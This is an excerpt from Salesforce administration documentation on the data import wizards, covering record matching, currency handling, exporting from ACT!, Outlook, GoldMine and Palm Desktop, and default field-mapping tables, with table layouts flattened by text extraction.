Import Leads Wizard - For each lead in your import file, this wizard imports the lead, associates the lead with a campaign, and inserts a Member Status value for the lead in that campaign. You can import data into the standard lead fields and into any custom lead fields, even if a particular field is hidden or read only in your page layout or field-level security settings. (Field-level security is available in Enterprise, Unlimited, and Developer Editions only.) If you have duplicate leads in your import file, the wizard does not merge them. In addition, if any of the imported leads match an existing lead, the wizard does not merge the duplicate data into one lead. Campaign Update Wizard - For each contact or lead in your import file, this wizard updates only the Member Status value of the matching contact or lead in Salesforce. You cannot add new leads or contacts, nor can you update any other fields in the existing lead or contact records.

See Also:
Lead Import Wizard Campaign Update Wizard FAQ: Importing

804

Data Management

Importing Overview

What Is Imported for Custom Objects?


Custom object import available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To import custom objects: Modify All Data

The import wizard for custom objects allows you to prevent the creation of duplicate records by matching records according to one of the following fields: custom object name, Salesforce ID, or external ID. In your import file, include a column for the field that you are using for record matching. Matching by Name When you select this option, the import wizard will detect existing records in Salesforce that have the same name. Note that this type of matching is not case-sensitive - for example, names that begin with a capital letter will be matched with the same name that begins with a lowercase letter. If necessary, scan and standardize your custom object names before performing the import to prevent unintended matches. Matching by Salesforce ID A Salesforce ID is a system-generated, case-sensitive string of 15 or 18 letters and numbers that uniquely identifies each Salesforce record. When you select this option, the import wizard will detect existing records in Salesforce that have the same Salesforce ID. Note that Salesforce IDs are case-sensitive and must match exactly. Salesforce IDs can be obtained by running reports that include the ID field of the record. Matching by External ID An external ID is a custom field that has the External ID attribute, meaning that it contains unique record identifiers from a system outside of Salesforce. When you select this option, the import wizard will detect existing records in Salesforce that have the same external ID. Note that this operation is not case-sensitive - for example, ABC will be matched with abc. However, there is an exception: if the custom field has the separate Unique attribute and the case-sensitive option for that attribute is selected, uppercase and lowercase letters will not be considered identical. For more information, see Custom Field Attributes on page 1099. If necessary, scan and standardize your external ID values before performing the import to prevent unintended matches. When matching by external ID, if the import wizard finds duplicate records, only the first three duplicate records are reported to you in the confirmation email. Ignoring or Updating Matching Records When the import wizard detects existing records in Salesforce that match according to the field you have chosen, you can choose one of the following actions: Do not update existing records and only insert new records - If there are records in your file that are new and do not match any existing records, then insert them into Salesforce. Also, ignore any records in your file that match an existing record, and do nothing to the existing record. Update existing records and do not insert any new records - If there are records in your file that match an existing record, then update the existing record. Also, ignore any records in your file that do not match an existing record, and do not insert them as new records.

805

Data Management

Importing Overview

Update existing records and insert new records - If there are records in your file that are new and do not match any existing records, then insert them into Salesforce. Also, if there are records in your file that match an existing record, then update the existing record. Note: Custom objects with two master-detail relationships cannot be imported using the import wizard.

See Also:
Import My Organization's Custom Objects FAQ: Importing

What Is Imported for Solutions?


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To import solutions: Import Solutions

The import wizard for solutions allows you to prevent the creation of duplicate records by matching records according to one of the following fields: solution title, Salesforce ID, or external ID. In your import file, include a column for the field that you are using for record matching. Matching by Solution Title When you select this option, the import wizard will detect existing solutions in Salesforce that have the same title. Note that this type of matching is not case-sensitive - for example, titles that begin with a capital letter will be matched with the same title that begins with a lowercase letter. If necessary, scan and standardize your solution titles before performing the import to prevent unintended matches. Matching by Salesforce ID A Salesforce ID is a system-generated, case-sensitive string of 15 or 18 letters and numbers that uniquely identifies each Salesforce record. When you select this option, the import wizard will detect existing records in Salesforce that have the same Salesforce ID. Note that Salesforce IDs are case-sensitive and must match exactly. Salesforce IDs can be obtained by running reports that include the ID field of the record. Matching by External ID An external ID is a custom field that has the External ID attribute, meaning that it contains unique record identifiers from a system outside of Salesforce. When you select this option, the import wizard will detect existing records in Salesforce that have the same external ID. Note that this operation is not case-sensitive - for example, ABC will be matched with abc. However, there is an exception: if the custom field has the separate Unique attribute and the case-sensitive option for that attribute is selected, uppercase and lowercase letters will not be considered identical. For more information, see Custom Field Attributes on page 1099. If necessary, scan and standardize your external ID values before performing the import to prevent unintended matches.

806

Data Management

Importing Overview

When matching by external ID, if the import wizard finds duplicate records, only the first three duplicate records are reported to you in the confirmation email. Ignoring or Updating Matching Records When the import wizard detects existing records in Salesforce that match according to the field you have chosen, you can choose one of the following actions: Do not update existing records and only insert new records - If there are records in your file that are new and do not match any existing records, then insert them into Salesforce. Also, ignore any records in your file that match an existing record, and do nothing to the existing record. Update existing records and do not insert any new records - If there are records in your file that match an existing record, then update the existing record. Also, ignore any records in your file that do not match an existing record, and do not insert them as new records. Update existing records and insert new records - If there are records in your file that are new and do not match any existing records, then insert them into Salesforce. Also, if there are records in your file that match an existing record, then update the existing record.

See Also:
What are Multilingual Solutions? Import My Organization's Solutions FAQ: Importing

Notes on Importing Data


Available in: All Editions except Database.com Organization import not available in: Personal Edition Lead import not available in: Personal and Contact Manager Editions Custom object import not available in: Personal Edition Solution import not available in: Personal, Contact Manager, and Group Editions

Field AccessibilityIn the organization-wide import wizards for accounts and leads, you can import data into any standard or custom field even if it is hidden or read only in your page layout or field-level security settings. For the Import My Contacts wizard, you can import data only into the fields that are editable for you in your page layout or field-level security settings. See Managing Page Layouts on page 1309 and Field-Level Security Overview on page 671. Field-level security is available in Enterprise, Unlimited, and Developer Editions only.

New Values for Picklists and Multi-Select PicklistsIf your import file contains data to be displayed in picklists or multi-select picklists, the wizards warn you when you attempt to import a new picklist value that does not match any valid picklist values. If you ignore the warning, the new value is automatically added to the imported record. Your administrator can later edit the field to add the necessary values. Note that the import wizards do not allow you to import more than 100 new picklist or multi-select picklist values for any field during a single import.

807

Data Management

Importing Multiple Currencies

If your organization uses the Translation Workbench, the import wizards look for matching translated values before creating new inactive picklist values. See Setting Up the Translation Workbench on page 492 for more information. Multi-Select PicklistsTo import multiple values into a multi-select picklist, separate the values by a semicolon in your import file. You can import up to 100 values at a time in a multi-select picklist field. If you have more than 100 values in your import file for any one record, the import wizard leaves the field blank in that record. CheckboxesTo import data into a checkbox field, use 1 for checked values and 0 for unchecked values. Default ValuesFor picklist, multi-select picklist, and checkbox fields, if you do not map the field in the import wizard, the default value for the field, if any, is automatically inserted into the new or updated record. Date/Time FieldsEnsure that the format of any date/time fields you are importing matches how they display in Salesforce per your locale setting. For information on setting your locale, see Editing Your Personal Information on page 30. Formula FieldsFormula fields cannot accept imported data because they are read only. Field Validation RulesSalesforce runs validation rules on records before they are imported. Records that fail validation aren't imported. Consider deactivating the appropriate validation rules before running an import if they affect the records you are importing. Universally Required FieldsYou must include universally required fields in your import files or the import will fail. For more information, see About Universally Required Fields on page 1223.

Importing Multiple Currencies


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

If your organization has set up the ability to use multiple currencies, you can import amounts in different currencies.

Import My Accounts and Contacts


For personal imports, all amounts in new accounts and contacts are imported in your personal currency. When import updates amounts in existing records, the amounts in your file are converted from your personal currency to the currency of the account or contact. For example, if your personal currency is U.S. dollars, and your import file has 100 as the annual revenue of an existing account with Account Currency of euros, then the new Annual Revenue value of the account will be EUR 92, assuming a conversion rate of 0.92 and EUR as the currency code for euros.

Organization Import
When importing accounts, contacts, custom objects, leads, or solutions for your organization, you can specify the currency type for amount fields using the Currency ISO Code column in your import file. The following rules apply: Entering currency codes - Enter a currency code in the Currency ISO Code column in your import file. Currency codes are three letter codes that follow an international standard. For example, USD is the currency code for U.S. dollars. Click Your Name > Setup > Company Profile > Manage Currencies to see a list of valid codes for your organization. Using one currency for accounts and contacts - If you are importing accounts and contacts, the Currency ISO Code column applies to both an account and its associated contact. You cannot specify different currencies for associated accounts and contacts. Updating the currency code - When updating the currency code but not the currency amount for existing accounts and contacts, the existing amount is not converted to the corresponding number in the new currency.

808

Data Management

Creating Export Files for Import Wizards

Entering inactive currencies - If your enter an inactive currency in your import file, your personal currency will be used instead. However, amounts will not be modified. For example, if your file has AUD 100 for 100 Australian dollars but AUD is an inactive currency for your organization, then it is imported as USD 100, assuming your personal currency is U.S. dollars. Omitting the Currency ISO Code column - When creating new records via importing, if you do not use the Currency ISO Code column or fail to map it, your personal currency is used. For example, if your file has 100 and your personal currency is U.S. dollars (currency code = USD), this is imported as USD 100. When updating existing records via importing, if you do not use the Currency ISO Code column or fail to map it, any amounts are interpreted as having the existing currency of the record. For example, if your file has 100 for a record that has a currency of EUR (the currency code for euros), this amount is interpreted as EUR 100.

See Also:
Managing Multiple Currencies

Creating Export Files for Import Wizards


Available in: All Editions except Database.com

To import data into Salesforce, you first need to export the data from your existing application. This creates an export file of the information you want to import. Exporting from ACT! Exporting from Outlook Exporting from GoldMine 4.0 Exporting from GoldMine 5.0 Exporting from Palm Desktop Exporting from Other Data Sources Exporting from Salesforce

After creating the export file, compare your data with the Salesforce fields available for import, and verify that your data will be mapped into the appropriate Salesforce fields. See Preparing Your Data for Import on page 815. Your file can contain a mixture of some new records as well as updates for existing records. The option selected in the Matching Type field determines whether it is a new or existing record. When importing leads, you can choose whether to match leads in your import file with existing leads in Salesforce. Leads can be matched according to the following types: Salesforce ID, name, or email. Choosing a matching type sets the criteria for avoiding duplicate leads. For example, if you are matching by email and a lead in your source file has the same email as a lead in Salesforce, then that lead will be updated in Salesforce. If you are not matching by email and a lead in your source file has the same email as a lead in Salesforce, then a new lead will be created. Note: If you are the administrator and are importing for multiple users, you must combine your export data into a single CSV file using Excel. When importing new records, add or modify a Record Owner field in your file such that the field contains the names of existing, active users. Enter the users full usernames (for example, jsmith@acme.com) or first and last names (for

809

Data Management

Creating Export Files for Import Wizards

example, Joe Smith, or Smith Joe for Asian locales). This will specify the owner of the imported data for an organization import. For lead imports, you can also specify the name of a lead queue. Record owner fields do not get updated when records are updated via import. All records retain their existing owners; and the Record Owner field in your import file is ignored for these records. When importing leads, you can alternatively use a lead assignment rule to specify the owners of the imported data, instead of using a Record Owner field.

See Also:
Preparing Your Data for Import

Exporting from ACT!


ACT! allows you to export contact data in a text-delimited format which can then be imported. To export contact data from ACT! (versions 4.0 or 2000): 1. 2. 3. 4. 5. 6. 7. Launch ACT! and open your database. Select File > Data Exchange > Export.... Select the file type Text-Delimited. Choose a file name and location for the exported data and click Next. Select Contact records only. Click the Options... button. Select Comma for the field separator character. Note: If commas are not appropriate for your locale, use a tab or other delimiter.

8. Select Yes, export field names and click OK. 9. Click Next. 10. Select All Records and then click Next. 11. Leave the export field order list alone, and click Finish.

See Also:
Default Field Mapping for ACT!

Exporting from Outlook


Microsoft Outlook allows you to export data in a CSV (comma-separated values) format which can then be imported. 1. Launch Outlook. 2. Select File > Import and Export.... 3. Choose Export to a file and click Next.

810

Data Management

Creating Export Files for Import Wizards

4. Choose Comma Separated Values (Windows) and click Next. Note: If commas are not appropriate for your locale, use a tab or other delimiter.

5. Select the Contacts folder and click Next. You can select a different contacts folder if you have contacts stored in multiple folders. 6. Choose a file name for the exported data and click Next. 7. Click Finish.

See Also:
Default Field Mapping for Outlook

Exporting from GoldMine 4.0


GoldMine 4.0 allows you to export contact data in a text format that can be imported. Additionally, you can export GoldMine 4.0 notes for import into Professional, Enterprise, Unlimited, and Developer Edition organizations. Exporting Contacts from GoldMine 4.0 Exporting Notes from GoldMine 4.0

Exporting Contacts from GoldMine 4.0 To export contact data from GoldMine 4.0, follow these steps: 1. 2. 3. 4. 5. 6. 7. 8. Launch GoldMine 4.0. Choose Export Records from the Tools menu. Select Export to a new file and DBF file, and click Next. In the list of GoldMine Fields on the left side of the dialog, select all of the fields, and click Add Field. Then click Next. Choose the location for the export file, and click Next. Select No when asked if you want to save these settings, and click Next. Click Finish. After the export finishes, locate the exported file and change its file extension from .dbf to .csv. The file is now ready for import into Salesforce.

Exporting Notes from GoldMine 4.0 Before importing your GoldMine 4.0 notes into Salesforce, you must import your GoldMine 4.0 contacts. To export notes from GoldMine 4.0, follow these steps: 1. 2. 3. 4. Launch GoldMine 4.0. Choose Export Records from the Tools menu. Select Export to a new file and ASCII file, and click Next. In the list of GoldMine Fields on the left side of the dialog, select the company, lastname, and notes fields, and click Add Field. Then click Next. 5. Choose the location for the export file, and click Next. 6. Select No when asked if you want to save these settings, and click Next.

811

Data Management

Creating Export Files for Import Wizards

7. Click Finish. 8. After the export finishes, locate the exported file and change its file extension to .csv. 9. Open the file. 10. Add a header column by right-clicking on the first row and choosing Insert. 11. In column A, enter Company. 12. In column B, enter Last Name. 13. In column C, enter Note. 14. If necessary, clean up the file prior to importing it. Common problems include notes that have been broken between columns (this occurs when notes contain quotation marks).

See Also:
Field Mapping for Other Data Sources and Organization Import

Exporting from GoldMine 5.0


GoldMine 5.0 allows you to export contact data in a text format that can be imported. Additionally, you can export GoldMine 5.0 notes for import into Professional, Enterprise, Unlimited, and Developer Edition organizations. Exporting Contacts from GoldMine 5.0 Exporting Notes from GoldMine 5.0

Exporting Contacts from GoldMine 5.0 To export contact data from GoldMine 5.0, follow these steps: 1. 2. 3. 4. 5. Launch GoldMine 5.0. Choose Tools > Import/Export Wizard > Export Contact Records. Select Export to a new file and ASCII file, and click Next. Select ALL Contact Records! in the drop-down list, and click Next. In the list of GoldMine Fields on the left side of the dialog, select the fields you want to export, and click Add Field. We recommend you select all fields, except the notes field. See Exporting Notes from GoldMine 5.0 on page 812 for information on how to export notes. 6. Click Next. 7. Choose the location for the export file, select the Export GoldMine field names... checkbox, and then click Next. 8. Select No when asked if you want to save these settings, and click Next. 9. Click Finish. 10. After the export finishes, locate the exported file and change its file extension from .txt to .csv. The file is now ready for import into Salesforce. Exporting Notes from GoldMine 5.0 Before importing your GoldMine 5.0 notes into Salesforce, you must import your GoldMine 5.0 contacts. To export notes from GoldMine 5.0, follow these steps: 1. Launch GoldMine 5.0. 2. Choose Tools > Import/Export Wizard > Export Contact Records. 3. Select Export to a new file and ASCII file, and click Next.

812

Data Management

Creating Export Files for Import Wizards

4. Select ALL Contact Records! in the drop-down list, and click Next. 5. In the list of GoldMine Fields on the left side of the dialog, select the company, lastname, and notes fields, and click Add Field. Then click Next. 6. Choose the location for the export file, select the Export GoldMine field names... checkbox, and then click Next. 7. Select No when asked if you want to save these settings, and click Next. 8. Click Finish. 9. After the export finishes, locate the exported file and change its file extension from .txt to .csv. 10. Open the file. 11. If necessary, clean up the file prior to importing it. Common problems include notes that have been broken between columns (this occurs when notes contain quotation marks).

See Also:
Field Mapping for Other Data Sources and Organization Import

Exporting from Palm Desktop


The Palm Desktop allows you to export your Address Book contacts in a CSV (comma-separated values) format which can then be imported. 1. Open the Address Book in the Palm Desktop. If you only want to export specific contacts, select those records. 2. Choose Export from the File menu. 3. In the Export To File dialog, enter a name for the file and choose a folder for it. In the Export as drop-down list, choose Comma Separated (*.csv;*.txt). Select the range of records to export - either All or Currently selected records. Note: If commas are not appropriate for your locale, use a tab or other delimiter.

4. Click Export. 5. In the Specify Export Fields dialog box, select the Address Book fields you want to export, and click OK.

See Also:
Field Mapping for Other Data Sources and Organization Import

Exporting from Other Data Sources


You can import data into the system from any other application that can create a CSV (comma-separated values) file. 1. Save your data source as a CSV file. Note: If commas are not appropriate for your locale, use a tab or other delimiter.

2. Ensure your file includes only one name per field. The system cannot accept more than one name per field.

813

Data Management

Creating Export Files for Import Wizards

3. Ensure your file separates names and titles into two fields. The system cannot accept fields containing both names and titles. 4. Ensure your file includes only one phone number per field.

See Also:
Field Mapping for Other Data Sources and Organization Import

Exporting from Salesforce


Available in: Professional, Enterprise, Unlimited, and Developer Editions

You can export account, contact, custom object, lead, or solution reports from Salesforce to create an import file for the import wizards. You must include the Account ID, Contact ID, Custom Object ID, Lead ID, or Solution ID value for each respective record in your report. These ID fields are unique Salesforce identifiers and are used to accurately match your data with existing Salesforce records. To create an import file with these ID fields, you first need to export the data from Salesforce. 1. Run an account, contact, custom object, lead, or solution report in Salesforce, include the respective ID field, and export it to Excel. 2. If you are exporting both leads and contacts to be targeted in a campaign: a. In Excel, combine the exported reports into one CSV (comma-separated values) file. Make sure all of the ID field values are in the same column. Note: If commas are not appropriate for your locale, use a tab or other delimiter.

b. Rename the Lead ID/Contact ID column to Record Id. c. Add a column entitled Status, and enter the campaign member status for each contact or lead. Note: Remember that Salesforce record IDs are case-sensitive and should never be changed manually in your import file.

See Also:
Importing Campaign Members Managing Campaigns

814

Data Management

Preparing Your Data for Import

Preparing Your Data for Import


Available in: All Editions except Database.com

After exporting your data from Salesforce or your existing application (see Creating Export Files for Import Wizards on page 809), prepare your data before importing it. Preparing Contacts When importing from ACT! or Outlook, the Import My Contacts wizard automatically maps fields from ACT! and Outlook to Salesforce. See Default Field Mapping for ACT! on page 817 and Default Field Mapping for Outlook on page 819. When importing from other data sources, you must use Excel to label the columns in your import file as specified in Field Mapping for Other Data Sources and Organization Import on page 822. Preparing Person Accounts When importing person accounts, use the field labels in Salesforce as the column labels in your import file. SeePerson Account Fields on page 97 . Preparing Organization's Business Accounts and Contacts When importing business accounts and contacts for your organization, you must use Excel to label the columns in your import file as specified in Field Mapping for Other Data Sources and Organization Import on page 822. Preparing Organization's Leads When importing general leads or leads for campaigns, use the import file labels specified in Field Mapping for Importing Leads on page 826. Preparing Custom Objects When importing a custom object, use the field labels shown on the custom object detail page in Salesforce as the column labels in your import file. Preparing Solutions When importing solutions, use the field labels in Salesforce as the column labels in your import file. For information on field labels, see Solution Fields on page 3447. You can enter HTML into the solutions you plan to import into Salesforce.However, unless your organization has enabled HTML solutions, HTML tags will display in the solutions after they are imported. For more information, see What are HTML Solutions? on page 3429. For security purposes, Salesforce automatically filters all HTML solutions for potentially malicious HTML. If potentially malicious HTML is detected in an HTML solution, then the potentially malicious HTML is either automatically removed or transformed into text for users who view the HTML solution. Note that users will not be able to notice when potentially malicious HTML is removed from an HTML solution. You can import solutions written in HTML format into Salesforce. However, for security purposes, only the HTML tags listed below are allowed. The content of any HTML tags not listed below is automatically removed when saved in HTML solutions. Furthermore, the content of all <script> and <iframe> tags, as well as all JavaScript, is automatically

815

Data Management

Preparing Your Data for Import

removed when saved in HTML solutions. Additionally, Cascading Style Sheets (CSS) are not supported in HTML solutions. The following HTML tags are allowed in HTML solutions imported into Salesforce:
<a> <abbr> <acronym> <address> <b> <bdo> <big> <blockquote> <br> <caption> <cite> <code> <col> <colgroup> <dd> <del> <dfn> <div> <dl> <dt> <em> <font> <h1> <h2> <h3> <h4> <h5> <h6> <hr> <i> <img> <ins> <kbd> <li> <ol> <p> <pre> <q> <samp> <small> <span> <strike> <strong> <sub> <sup> <table> <tbody> <td> <tfoot> <th> <thead> <tr> <tt> <ul> <var>

Within the above tags, you can include the following attributes:
alt background border class colspan face height href name rowspan size src style target width

The above attributes which can include a URL are limited to URLs that begin with the following:
http:

816

Data Management

Preparing Your Data for Import

https: file: ftp: mailto: # / for relative links

Note: If your data has information in fields that do not match any of the standard fields, your administrator can create custom fields for that data prior to import. You must include universally required fields in your import files or the import will fail. For more information, see About Universally Required Fields on page 1223.

See Also:
Creating Export Files for Import Wizards Accessing the Import Wizards

Default Field Mapping for ACT!


Available in: All Editions except Database.com

This table details how ACT! fields map to Salesforce account and contact import fields during an individual data import. Note: If an ACT! record contains more than one contact for the same company, the import wizard creates multiple contacts for one account.

ACT! Field
Address 1

Import Field Contact: Mailing Address and Account: Billing Address

Address 2

Contact: Mailing Address and Account: Billing Address

Address 3

Contact: Mailing Address and Account: Billing Address

Alt Phone Alt Phone Ext. Assistant Asst. Phone

Contact: Other Phone Contact: Other Phone Ext. Contact: Assistant's Name Contact: Asst. Phone

817

Data Management

Preparing Your Data for Import

ACT! Field
Asst. Phone Ext. City

Import Field Contact: Asst. Phone Ext. Contact: Mailing City and Account: Billing City

Company Contact Country

Account: Name Contact: Full Name Contact: Mailing Country and Account: Billing Country

Department E-mail Login

Contact: Department Contact: Email

(The import wizard verifies this is a valid email address in the form: jsmith@acme.com)
Fax

Contact: Fax and Account: Fax

Fax Ext. First Name Home Address 1 Home Address 2 Home Address 3 Home City Home Country Home Phone Home State Home Zip ID/Status Last Name Mobile Phone Note Phone

Contact: Business Fax Ext. Contact: First Name Contact: Other Address 1 Contact: Other Address 2 Contact: Other Address 3 Contact: Other City Contact: Other Country Contact: Home Phone Contact: Other State Contact: Other Postal Code Account: Type Contact: Last Name Contact: Mobile Phone Does not import Contact: Phone and Account: Phone

Phone Ext. Referred By

Contact: Business Phone Ext. Contact: Lead Source

818

Data Management

Preparing Your Data for Import

ACT! Field
Revenue State

Import Field Account: Annual Revenue Contact: Mailing State and Account: Billing State

Ticker Symbol Title Web Site Zip

Account: Ticker Symbol Contact: Title Account: Website Contact: Mailing Postal Code Account: Billing Postal Code

2nd Contact 2nd Phone 2nd Phone Ext. 2nd Title 3rd Contact 3rd Phone 3rd Phone Ext. 3rd Title

2nd Contact: Name 2nd Contact: Phone 2nd Contact: Phone Ext. 2nd Contact: Title 3rd Contact: Name 3rd Contact: Phone 3rd Contact: Phone Ext. 3rd Contact: Title

2nd Last Reach, 3rd Last Reach, Asst. Title, Last Contact: Note or Account: Note Attempt, Last Meeting, Last Reach, Last Results, (In Professional, Enterprise, Unlimited, and Developer Edition Letter Date, Pager, Spouse, User 1-15

organizations, you specify which fields import into a single contact or account note; separate notes are not created for each ACT! field.)

See Also:
Exporting from ACT!

Default Field Mapping for Outlook


Available in: All Editions except Database.com

This table details how Outlook fields map to Salesforce account and contact import fields during an individual data import.

819

Data Management

Preparing Your Data for Import

Outlook Field
Assistants Name Assistants Phone Birthday Business City

Import Field Contact: Assistants Name Contact: Asst Phone Contact: Birthdate Contact: Mailing City and Account: Billing City

Business Country

Contact: Mailing Country and Account: Billing Country

Business Fax

Contact: Fax and Account: Fax

Business Phone Business Postal Code

Contact: Phone Contact: Mailing Postal Code Account: Billing Postal Code

Business Street

Contact: Mailing Address and Account: Billing Address

Business Street 2

Contact: Mailing Address and Account: Billing Address

Business Street 3

Contact: Mailing Address and Account: Billing Address

Company

Account: Account Name and Contact: Account

Company Main Phone Department E-mail

Account: Phone Contact: Department Contact: Email

(The import wizard verifies this is a valid email address in the form: jsmith@acme.com)
First Name Home City Home Country Home Phone Home Postal Code Home Street

Contact: First Name Contact: Other City Contact: Other Country Contact: Home Phone Contact: Other Postal Code Contact: Other Address

820

Data Management

Preparing Your Data for Import

Outlook Field
Home Street 2 Home Street 3 Job Title Last Name Manager's Name

Import Field Contact: Other Address Contact: Other Address Contact: Title Contact: Last Name Contact: Reports To (In addition, if the name in this field does not match an existing contact, a new contact is created with the managers name.)

Mobile Phone Notes Other Phone Referred By Title Web Page Account, Anniversary, Billing Information, Business Phone 2, Callback, Car Phone, Categories, Children, Directory Server, E-mail 2, E-mail 3, Government ID Number, Hobby, Home Fax, Home Phone 2, Internet Free/Busy Address, ISDN, Keywords, Language, Location, Middle Name, Mileage, Office Location, Organizational ID Number, Other City, Other Country, Other Fax, Other Postal Code, Other State, Other Street, Other Street 2, Other Street 3, Pager, PO Box, Primary Phone, Profession, Radio Phone, Spouse, Suffix, Telex, TTY/TDD Phone, User 1, User 2, User 3, User 4

Contact: Mobile Phone Contact: Description Contact: Other Phone Contact: Lead Source Contact: Salutation Account: Website Contact: Note or Account: Note (In Professional, Enterprise, Unlimited, and Developer Edition organizations, you specify which fields import into a single contact or account note; separate notes are not created for each Outlook field.)

See Also:
Exporting from Outlook Mapping Fields for Salesforce for Outlook

821

Data Management

Preparing Your Data for Import

Field Mapping for Other Data Sources and Organization Import


Available in: All Editions except Database.com Organization import not available in: Personal Edition, Database.com

If you are importing accounts and contacts for an organization, or importing individual data from sources other than Outlook or ACT!, the Import Wizards map the fields as correctly as possible. You must fine-tune the mapping before completing the import. Before importing your data, Salesforce recommends that you use Excel to label the columns in your import file with the labels listed below. Field length limits for each object are listed in the Salesforce Field Reference Guide. Note: The default mappings listed below are offered as a guide for importing; they do not ensure 100% accuracy in mapping your data. You must fine-tune the mapping in the Import Wizards. Remember that you can map the same field multiple times if necessaryfor example, for the account and contact address fields. Common Fields for Contacts and Accounts Label for Your Import File
Record Owner

Salesforce Field Contact: Contact Owner and

(Note: For individual imports, this field is not necessary, since Account: Account Owner all data you import is automatically owned by you. In addition, when importing records by Salesforce record ID, this field is ignored.)
Currency ISO Code

Contact: Contact Currency and

(Note: You can use this field only for organization imports in Account: Account Currency organizations that use multiple currencies. For more information, see Importing Multiple Currencies on page 808.)

Contact Fields Label for Your Import File


Assistant Asst. Phone Asst. Phone Ext. Birthdate Business Fax Business Fax Ext. Business Phone Business Phone Ext.

Salesforce Field Contact: Assistant Contact: Asst. Phone Appended to Contact: Asst. Phone Contact: Birthdate Contact: Fax Appended to Contact: Fax Contact: Phone Appended to Contact: Phone

822

Data Management

Preparing Your Data for Import

Contact Fields Label for Your Import File


Contact Description Contact Full Name or First Name & Last Name

Salesforce Field Contact: Description Contact: First Name and Contact: Last Name

(Note: When importing contact names, use either Contact Full Name or First Name and Last Name, but not both.)
Contact ID

Contact: Contact ID

(Note: Record IDs are case-sensitive and should not be changed.)


Contact Note Department E-mail Address

Creates a note attached to the contact Contact: Department Contact: Email

(Note: The import wizard verifies this is a valid email address in the form: jsmith@acme.com.)
Email Opt Out

Contact: Email Opt Out

(Note: Use 1 to indicate that user opts out; use 0 to indicate that user wants emails.)
Home Phone Home Phone Ext. Lead Source Mailing City Mailing Country Mailing Postal Code Mailing State Mailing Street 1 Mailing Street 2 Mailing Street 3 Mobile Phone Mobile Phone Ext. Other City Other Country Other Phone

Contact: Home Phone Appended to Contact: Home Phone Contact: Lead Source Contact: Mailing City Contact: Mailing Country Contact: Mailing Address Zip/Postal Code Contact: Mailing State/Province Contact: Mailing Address Contact: Mailing Address Contact: Mailing Address Contact: Mobile Appended to Contact: Mobile Contact: Other City Contact: Other Country Contact: Other Phone

823

Data Management

Preparing Your Data for Import

Contact Fields Label for Your Import File


Other Phone Ext. Other Postal Code Other State Other Street 1 Other Street 2 Other Street 3 Reports To

Salesforce Field Appended to Contact: Other Phone Contact: Other Address Zip/Postal Code Contact: Other State/Province Contact: Other Address Contact: Other Address Contact: Other Address Contact: Reports To

(Note: If the import wizard cannot find a contact that matches the name in this field, it will create a new contact using this value as the Contact: First Name & Last Name.)
Salutation Title 2nd Contact

Prefixed to Contact: First Name Contact: Title Split into Contact: First Name & Last Name for a second contact for the account Contact: Phone for a second contact for the account Appended to Contact: Phone for a second contact for the account Contact: Title for a second contact for the account Split into Contact: First Name & Last Name for a third contact for the account Contact: Phone for a third contact for the account Appended to Contact: Phone for a third contact for the account Contact: Title for a third contact for the account

2nd Phone 2nd Phone Ext.

2nd Title 3rd Contact

3rd Phone 3rd Phone Ext.

3rd Title

Account Fields Label for Your Import File


Account Description Account Division

Salesforce Field Account: Description Account: Account Division

(Note: You do not need to specify this field if you choose to assign the division via the drop-down list on Step 1 of the import wizard. If you do not map this field or use the division drop-down list, the division is set to the record owners default division for each record.)

824

Data Management

Preparing Your Data for Import

Account Fields Label for Your Import File


Account Fax Account Fax Ext. Account ID

Salesforce Field Account: Fax Appended to Account: Fax Account: Account ID

(Note: Record IDs are case-sensitive and should not be changed.)


Account Name

Account: Account Name and Contact: Account

Account Note Account Number Account Phone Account Phone Ext. Account Site Account Type Billing City Billing Country Billing Postal Code Billing State Billing Street 1 Billing Street 2 Billing Street 3 Employees Industry Ownership Parent Account

Creates a note attached to the account Account: Account Number Account: Phone Appended to Account: Phone Account: Account Site Account: Type Account: Billing City Account: Billing Country Account: Billing Zip/Postal Code Account: Billing State/Province Account: Billing Address Account: Billing Address Account: Billing Address Account: Employees Account: Industry Account: Ownership Account: Parent Account

(Note: If the import wizard cannot find an account that matches the parent account name, it will create a new account using this value as the Account Name.)
Parent Account Site

Account: Account Site (Note: Maps to the Account Site field in the parent account.) Account: Rating

(Note: Indicates the site value of Parent Account.)

Rating

825

Data Management

Preparing Your Data for Import

Account Fields Label for Your Import File


Revenue Shipping City Shipping Country Shipping Postal Code Shipping State Shipping Street 1 Shipping Street 2 Shipping Street 3 SIC Code Ticker Symbol Website

Salesforce Field Account: Annual Revenue Account: Shipping City Account: Shipping Country Account: Shipping Zip/Postal Code Account: Shipping State/Province Account: Shipping Address Account: Shipping Address Account: Shipping Address Account: SIC Code Account: Ticker Symbol Account: Website

Note: If you include record types in your import file, the Import Wizard uses the record owners default record type when creating new records. For existing records, the Import Wizard does not update the record type field. For more information, see Managing Record Types on page 1300.

Field Mapping for Importing Leads


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

When you import leads, the Import My Organizations Leads wizard and the campaign Import Leads wizard map the fields in your import file as correctly as possible, but you must fine-tune the mapping before completing the import. Prior to importing your leads, it is recommended that you use Excel to label the columns in your lead import file with the labels listed in the table below. Note: The default mappings listed below are offered as a guide for importing; they do not insure 100% accuracy in mapping your data. You must fine-tune the mapping in the Import Wizard.

Label for Your Import File


Annual Revenue City Company Country

Salesforce Lead Field


Annual Revenue City Company Country

826

Data Management

Preparing Your Data for Import

Label for Your Import File


Currency ISO Code Lead Currency

Salesforce Lead Field

(Note: You can use this field only for organizations that use multiple currencies see Importing Multiple Currencies on page 808.)
Description Email Description Email

(The import wizard verifies this is a valid email address in the form: jsmith@acme.com)
Email Opt Out Email Opt Out

(Use 1 to indicate that the user opts out; use 0 to indicate that the user wants emails.)
No. of Employees Fax Full Name orFirst Name & Last Name No. of Employees Fax First Name and Last Name

(Note: When importing lead names, use either Full Name or First Name and Last Name, but not both.)
Industry Lead Division Industry Lead Division

(Note: You do not need to specify this field if you choose to assign the division via the drop-down list on Step 1 of the import wizard. If you do not map this field or use the division drop-down list, the division is set to the record owners default division for each record.)
Lead ID Lead ID

(Note: Record IDs are case-sensitive and should not be changed.)


Lead Source Lead Source

(Note: You do not need to specify this field if you choose to assign the same Lead Source to all leads on the first page of the import wizard.)
Lead Status Mobile Phone Lead Status Mobile

827

Data Management

Accessing the Import Wizards

Label for Your Import File


Phone Postal Code Rating Record Owner Phone Postal Code Rating Lead Owner

Salesforce Lead Field

